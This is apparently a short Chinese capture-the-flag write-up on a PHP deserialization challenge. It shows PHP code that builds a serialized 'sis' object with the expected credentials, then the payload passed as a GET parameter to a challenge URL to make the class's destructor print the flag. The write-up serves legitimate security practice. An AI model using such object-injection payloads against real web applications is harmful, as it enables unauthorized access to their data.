反序列化漏洞练习2
拿到题目,发现目标是获得flag.php的内容,且sis中admin和passwd等于sis2407时会输出fag的内容
根据源码编写序列化代码
<?php
error_reporting(0);
class sis{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="sis2407";
$this->passwd = "sis2407";
}
public function __destruct(){
if($this->admin === "sis2407" && $this->passwd === "sis2407"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$a=new sis;
echo serialize($a);
?>
得到序列化的sis,将序列化后的sis以get的方式为sis传参
124.221.58.83:81/s2.php?sis=O:3:"sis":2:{s:5:"admin";s:7:"sis2407";s:6:"passwd";s:7:"sis2407";}